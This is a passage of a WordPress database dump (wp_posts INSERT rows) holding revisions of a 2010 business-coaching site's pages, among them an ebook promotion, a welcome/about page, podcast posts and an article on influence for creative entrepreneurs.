13:09:33', '2010-04-16 20:09:33', '', 145, 'http://www.whitehotcenter.com/2010/04/16/145-revision-14/', 0, 'revision', '', 0),
(883, 2, '2010-06-23 09:23:12', '2010-06-23 16:23:12', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #808080;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"></a></span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition Proof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;">Download your absolutely FREE COPY now!</span><span style="color: #ff6600;"><span style="color: #ff6600;">\r\n</span></span></h2>\r\n<h2><span style="color: #333333;">White Hot Center founder Thomson Dawson offers six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will help place you i a frame of mind to create a value monopoly with your customers. In an age of commoditization in every product and service category, this guide will help you discover and define what it takes to make your business stand out from the slush pile of endless competitors!</span></h2>\r\n<span style="color: #333333;">\r\n</span>\r\n\r\n<strong>WHC highly recommends you check out these great resources for personal and professional inspiration and effectiveness:</strong><strong>\r\n</strong>\r\n<h2><a href="http://www.whitehottruth.com" target="_blank"><span style="color: #808080;">whitehottruth.com</span></a></h2>\r\n<h2><a href="http://www.the99percent.com" target="_blank"><span style="color: #808080;">the99percent.com</span></a></h2>\r\n<h2><a href="http://www.lateralaction.com" target="_blank"><span style="color: #808080;">lateralaction.com</span></a></h2>\r\n<h2><a href="http://www.accidentalcreative.com" target="_blank"><span style="color: #808080;">accidentalcreative.com</span></a></h2>\r\n<h2><a href="http://www.strategiccoach.com" target="_blank"><span style="color: #808080;">strategiccoach.com</span></a></h2>\r\n<h2><a href="http://www.zenhabits.com" target="_blank"><span style="color: #808080;">zenhabits.com</span></a></h2>\r\n<h2><a href="http://www.ted.com" target="_blank"><span style="color: #808080;">ted.com</span></a></h2>\r\n<h2><a href="http://www.blog.success.com" target="_blank"><span style="color: #808080;"> </span></a></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://www.sethgodin.typepad.com" target="_blank"><span style="color: #808080;">sethgodin.com</span></a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-06-23 09:23:12', '2010-06-23 16:23:12', '', 145, 'http://www.whitehotcenter.com/2010/06/23/145-revision-15/', 0, 'revision', '', 0),
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(968, 2, '2010-07-01 12:50:52', '2010-07-01 19:50:52', '<img class="alignleft size-medium wp-image-904" title="copyimage1" src="http://whc.fbdev.org/wp-content/uploads/2010/06/copyimage1-300x256.gif" alt="" width="240" height="205" />\r\n<h2>Building your business is a  process not an event. It will always involve change. Many factors drive that change– new  opportunities, bigger ideas, even a competitor’s threat to a your core  business. To grow your business, it might be tempting to copy the success of others. In this podcast,you''ll learn why this is not a useful strategy.</h2>\r\n[podcast format=''video'']http://whc.fbdev.org/wp-content/uploads/2010/06/the-temptation-to-copy-what-works.m4a[/podcast]', 'WHC Podcast: The temptation to copy what works', 0, '', 'inherit', 'open', 'open', '', '903-revision-v1', '', '', '2010-07-01 12:50:52', '2010-07-01 19:50:52', '', 903, 'http://www.whitehotcenter.com/2010/07/01/903-revision-25/', 0, 'revision', '', 0),
(969, 2, '2010-07-01 12:50:59', '2010-07-01 19:50:59', '<p><img class="alignleft size-medium wp-image-904" title="copyimage1" src="http://whc.fbdev.org/wp-content/uploads/2010/06/copyimage1-300x256.gif" alt="" width="240" height="205" /></p>\r\n<h2>Building your business is a  process not an event. It will always involve change. Many factors drive that change– new  opportunities, bigger ideas, even a competitor’s threat to a your core  business. To grow your business, it might be tempting to copy the success of others. In this podcast,you''ll learn why this is not a useful strategy.</h2>\r\n<p>[podcast format=''video'']http://whc.fbdev.org/wp-content/uploads/2010/06/the-temptation-to-copy-what-works.m4a[/podcast]</p>\r\n', 'WHC Podcast: The temptation to copy what works', 0, '', 'inherit', 'open', 'open', '', '903-revision-v1', '', '', '2010-07-01 12:50:59', '2010-07-01 19:50:59', '', 903, 'http://www.whitehotcenter.com/2010/07/01/903-revision-26/', 0, 'revision', '', 0),
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INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(974, 2, '2010-07-01 14:34:59', '2010-07-01 21:34:59', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame\r\nof mind that will support you in taking a quantum leap in your creative business success, and in your whole life experience. Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business. My mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities.\r\n\r\nMany creative professionals and entrepreneurs I have worked with agree these core benchmarks are worthwhile pursuing with unbridled passion:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">developing strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">creating more free time and money to design methods to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique gifts and contributions to the world.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve been a creative entrepreneur, designer, creative director and brand strategy consultant working with global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to their customers. Using my knowledge, expertise and insight, I guide creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievement.  Your inspired thought and disciplined actions will make this happen. Creating meaningful success is a life-long process of never ending growth and expansion. When you are burning bright, you delight in continuously asking yourself–how far can I take my ideas?\r\n\r\nSo if you find the information here to be useful, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-07-01 14:34:59', '2010-07-01 21:34:59', '', 172, 'http://www.whitehotcenter.com/2010/07/01/172-revision-73/', 0, 'revision', '', 0),
(973, 2, '2010-07-01 14:30:57', '2010-07-01 21:30:57', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your creative business success, and in your whole life experience. Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business. My mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities.\r\n\r\nMany creative professionals and entrepreneurs I have worked with agree these core benchmarks are worthwhile pursuing with unbridled passion:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">developing strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">creating more free time and money to design methods to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique gifts and contributions to the world.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve been a creative entrepreneur, designer, creative director and brand strategy consultant working with global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to their customers. Using my knowledge, expertise and insight, I guide creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievement.  Your inspired thought and disciplined actions will make this happen. Creating meaningful success is a life-long process of never ending growth and expansion. When you are burning bright, you delight in continuously asking yourself–how far can I take my ideas?\r\n\r\nSo if you find the information here to be useful, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-07-01 14:30:57', '2010-07-01 21:30:57', '', 172, 'http://www.whitehotcenter.com/2010/07/01/172-revision-72/', 0, 'revision', '', 0),
(977, 2, '2010-07-01 14:38:33', '2010-07-01 21:38:33', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame\r\nof mind that will support you in taking a quantum leap in\r\nyour creative business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business. My mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities. Many creative professionals and entrepreneurs I have worked with agree these core benchmarks are worthwhile pursuing with unbridled passion:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">developing strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">creating more free time and money to design methods to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique gifts and contributions to the world.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve been a creative entrepreneur, designer, creative director and brand strategy consultant working with global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to their customers. Using my knowledge, expertise and insight, I guide creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievement.  Your inspired thought and disciplined actions will make this happen. Creating meaningful success is a life-long process of never ending growth and expansion. When you are burning bright, you delight in continuously asking yourself–how far can I take my ideas?\r\n\r\nSo if you find the information here to be useful, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-07-01 14:38:33', '2010-07-01 21:38:33', '', 172, 'http://www.whitehotcenter.com/2010/07/01/172-revision-76/', 0, 'revision', '', 0),
(976, 2, '2010-07-01 14:37:45', '2010-07-01 21:37:45', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame\r\nof mind that will support you in taking a quantum leap in\r\nyour creative business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business. My mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities. Many creative professionals and entrepreneurs I have worked with agree these core benchmarks are worthwhile pursuing with unbridled passion:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">developing strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">creating more free time and money to design methods to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique gifts and contributions to the world.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve been a creative entrepreneur, designer, creative director and brand strategy consultant working with global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to their customers. Using my knowledge, expertise and insight, I guide creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievement.  Your inspired thought and disciplined actions will make this happen. Creating meaningful success is a life-long process of never ending growth and expansion. When you are burning bright, you delight in continuously asking yourself–how far can I take my ideas?\r\n\r\nSo if you find the information here to be useful, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-07-01 14:37:45', '2010-07-01 21:37:45', '', 172, 'http://www.whitehotcenter.com/2010/07/01/172-revision-75/', 0, 'revision', '', 0),
(975, 2, '2010-07-01 14:36:02', '2010-07-01 21:36:02', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame\r\nof mind that will support you in taking a quantum leap in your creative business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business. My mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities.\r\n\r\nMany creative professionals and entrepreneurs I have worked with agree these core benchmarks are worthwhile pursuing with unbridled passion:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">developing strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">creating more free time and money to design methods to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique gifts and contributions to the world.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve been a creative entrepreneur, designer, creative director and brand strategy consultant working with global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to their customers. Using my knowledge, expertise and insight, I guide creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievement.  Your inspired thought and disciplined actions will make this happen. Creating meaningful success is a life-long process of never ending growth and expansion. When you are burning bright, you delight in continuously asking yourself–how far can I take my ideas?\r\n\r\nSo if you find the information here to be useful, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-07-01 14:36:02', '2010-07-01 21:36:02', '', 172, 'http://www.whitehotcenter.com/2010/07/01/172-revision-74/', 0, 'revision', '', 0),
(978, 2, '2010-06-30 16:27:15', '2010-06-30 23:27:15', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.gif"><img class="alignnone size-full wp-image-947" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.gif" alt="" width="450" height="285" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas, interviews and business development tips! Topics will focus on your professional development, lifestyle design, value creation and demand generation. Plus you''ll be able to get solid advice and inspiration from other highly successful creative entrepreneurs who have paved the way forward. Please share your comments with us!</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n<h2><span style="color: #ff6600;">\r\n</span></h2>', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2010-06-30 16:27:15', '2010-06-30 23:27:15', '', 133, 'http://www.whitehotcenter.com/2010/06/30/133-revision-41/', 0, 'revision', '', 0),
(980, 2, '2010-07-01 12:51:44', '2010-07-01 19:51:44', '<img class="alignleft size-medium wp-image-904" title="copyimage1" src="http://whc.fbdev.org/wp-content/uploads/2010/06/copyimage1-300x256.gif" alt="" width="240" height="205" />\r\n<h2>Building your business is a  process not an event. It will always involve change. Many factors drive that change– new  opportunities, bigger ideas, even a competitor’s threat to a your core  business. To grow your business, it might be tempting to copy the success of others. In this podcast,you''ll learn why this is not a useful strategy.</h2>\r\n[podcast format=''video'']http://whc.fbdev.org/wp-content/uploads/2010/06/the-temptation-to-copy-what-works.m4a[/podcast]', 'WHC Podcast: The temptation to copy what works', 0, '', 'inherit', 'open', 'open', '', '903-revision-v1', '', '', '2010-07-01 12:51:44', '2010-07-01 19:51:44', '', 903, 'http://www.whitehotcenter.com/2010/07/01/903-revision-27/', 0, 'revision', '', 0),
(981, 1, '2010-07-01 20:58:33', '2010-07-02 03:58:33', '<img class="alignleft size-medium wp-image-904" title="copyimage1" src="http://whc.fbdev.org/wp-content/uploads/2010/06/copyimage1-300x256.gif" alt="" width="240" height="205" />\r\n<h2>Building your business is a  process not an event. It will always involve change. Many factors drive that change– new  opportunities, bigger ideas, even a competitor’s threat to a your core  business. To grow your business, it might be tempting to copy the success of others. In this podcast,you''ll learn why this is not a useful strategy.</h2>\r\n[podcast]http://whc.fbdev.org/wp-content/uploads/2010/06/the-temptation-to-copy-what-works.m4a[/podcast]', 'WHC Podcast: The temptation to copy what works', 0, '', 'inherit', 'open', 'open', '', '903-revision-v1', '', '', '2010-07-01 20:58:33', '2010-07-02 03:58:33', '', 903, 'http://www.whitehotcenter.com/2010/07/01/903-revision-28/', 0, 'revision', '', 0),
(983, 1, '2010-07-01 21:08:24', '2010-07-02 04:08:24', '<img class="alignleft size-medium wp-image-904" title="copyimage1" src="http://whc.fbdev.org/wp-content/uploads/2010/06/copyimage1-300x256.gif" alt="" width="240" height="205" />\r\n<h2>Building your business is a  process not an event. It will always involve change. Many factors drive that change– new  opportunities, bigger ideas, even a competitor’s threat to a your core  business. To grow your business, it might be tempting to copy the success of others. In this podcast,you''ll learn why this is not a useful strategy.</h2>[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2010/06/the-temptation-to-copy-what-works.m4a[/podcast]', 'WHC Podcast: The temptation to copy what works', 0, '', 'inherit', 'open', 'open', '', '903-revision-v1', '', '', '2010-07-01 21:08:24', '2010-07-02 04:08:24', '', 903, 'http://www.whitehotcenter.com/2010/07/01/903-revision-30/', 0, 'revision', '', 0),
(984, 1, '2010-07-01 21:09:44', '2010-07-02 04:09:44', '<img class="alignleft size-medium wp-image-904" title="copyimage1" src="http://whc.fbdev.org/wp-content/uploads/2010/06/copyimage1-300x256.gif" alt="" width="240" height="205" />\r\nBuilding your business is a  process not an event. It will always involve change. Many factors drive that change– new  opportunities, bigger ideas, even a competitor’s threat to a your core  business. To grow your business, it might be tempting to copy the success of others. In this podcast,you''ll learn why this is not a useful strategy.\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2010/06/the-temptation-to-copy-what-works.m4a[/podcast]', 'WHC Podcast: The temptation to copy what works', 0, '', 'inherit', 'open', 'open', '', '903-revision-v1', '', '', '2010-07-01 21:09:44', '2010-07-02 04:09:44', '', 903, 'http://www.whitehotcenter.com/2010/07/01/903-revision-31/', 0, 'revision', '', 0),
(985, 2, '2010-06-22 16:13:40', '2010-06-22 23:13:40', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="493" height="312" />\r\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\r\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\r\n\r\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others.\r\n\r\nAs you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\r\n\r\n<strong>Balance your desire for results with strengthened relationships.</strong>\r\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\r\n\r\n<strong>It’s all about them and never you!</strong>\r\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\r\n\r\n<strong>People do things for emotional reasons, not logical ones.</strong>\r\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\r\n\r\n<strong>People want more of what is in short supply.</strong>\r\nWhen you give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\r\n\r\n<strong>People are influenced by how remarkable you are.</strong>\r\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your clients-to-be hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\r\n\r\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\r\n\r\n<strong>People are influenced by people they like and are like 